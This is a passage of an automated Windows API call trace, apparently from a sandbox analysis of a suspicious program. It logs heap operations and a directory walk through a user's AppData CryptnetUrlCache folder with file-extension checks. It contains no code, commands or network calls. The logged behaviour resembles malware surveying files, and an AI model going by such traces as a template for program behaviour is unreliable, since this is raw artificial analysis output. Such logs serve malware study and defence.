dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.975] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0113.975] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0113.975] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da140 [0113.975] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x38) returned 0x7a427e0 [0113.975] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.975] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da2f0 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da140 | out: hHeap=0x5010000) returned 1 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0113.976] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0113.976] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109e30 | out: hHeap=0x5010000) returned 1 [0113.976] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16520 [0113.976] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.976] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.980] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.980] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.980] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.980] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.980] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.980] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0113.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0113.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.980] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.980] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.980] PathFindFileNameW (pszPath="") returned="" [0113.980] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.983] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0113.983] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.984] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0113.984] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0113.984] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.984] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0113.984] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0113.984] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.984] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0113.984] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0113.984] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.984] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0113.984] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0113.984] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0908 | out: hHeap=0x5010000) returned 1 [0113.984] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0113.984] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0113.985] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0908 | out: hHeap=0x5010000) returned 1 [0113.985] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0113.985] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0908 | out: hHeap=0x5010000) returned 1 [0113.985] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0113.985] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.985] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0113.985] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.985] FindNextFileW (in: 